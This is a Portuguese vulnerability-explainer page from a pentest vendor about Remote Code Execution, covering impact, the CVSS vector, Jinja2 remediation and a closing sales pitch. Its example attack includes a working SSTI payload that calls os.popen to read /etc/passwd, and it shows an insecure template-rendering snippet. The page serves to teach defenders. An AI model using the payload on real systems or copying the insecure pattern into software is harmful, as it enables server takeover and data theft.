← Base de Vulnerabilidades
Execução de Código A03:2021-Injection CVSS 9.8

RCE — Execução Remota de Código

RCE é a vulnerabilidade mais crítica em aplicações web. Permite execução de comandos no servidor. Veja vetores reais: desserialização, SSTI, e file upload.

Comum em: Geradores de relatório, importação de arquivo, APIs com eval(), templates dinâmicos · Dificuldade: Média-alta — depende do vetor

O Que É RCE

Remote Code Execution (RCE) permite que um atacante execute código arbitrário no servidor da aplicação. É considerada a classe mais crítica de vulnerabilidade — CVSS 9.8. Vetores comuns incluem: desserialização insegura (Java, PHP, Python pickle), Server-Side Template Injection (SSTI), injeção de comandos OS, e upload de arquivos executáveis.

Exemplo Real de Ataque

HTTP Request / Response
POST /api/v1/report/generate
Content-Type: application/json

{"template": "Olá {{user.name}}", "user": {"name": "{{7*7}}"}}

HTTP/1.1 200 OK
{"output": "Olá 49"}

# Confirmado SSTI — próximo payload:
{"template": "{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}"}

HTTP/1.1 200 OK
{"output": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}

Impacto no Negócio e Compliance

Controle total do servidor: acesso ao código-fonte, banco de dados, chaves de API, certificados TLS, dados de clientes. Em cloud: pivô para outros serviços via SSRF. Para fintechs, um RCE representa comprometimento completo de dados transacionais — obrigação imediata de notificação ao BCB e ANPD. Custo médio de um incidente RCE no Brasil: R$ 4,2 milhões (IBM Cost of a Data Breach 2024).

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Como Remediar

# ❌ INSEGURO — renderização de template com input do usuário
from jinja2 import Template
output = Template(user_input).render()

# ✅ SEGURO — use SandboxedEnvironment e nunca renderize input direto
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# Apenas variáveis controladas no contexto, NUNCA o template em si
template = env.from_string("Olá {{ nome }}!")  # Template fixo no código
output = template.render(nome=user_input)  # Input apenas como variável

Como a Veyronn Detecta Esta Vulnerabilidade

Testamos todos os vetores de RCE: desserialização de objetos, SSTI em templates (Jinja2, Twig, Freemarker), command injection em shell wrappers, e upload bypass em endpoints de importação de arquivo.

Pronto para Contratar seu Próximo Pentest?

Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.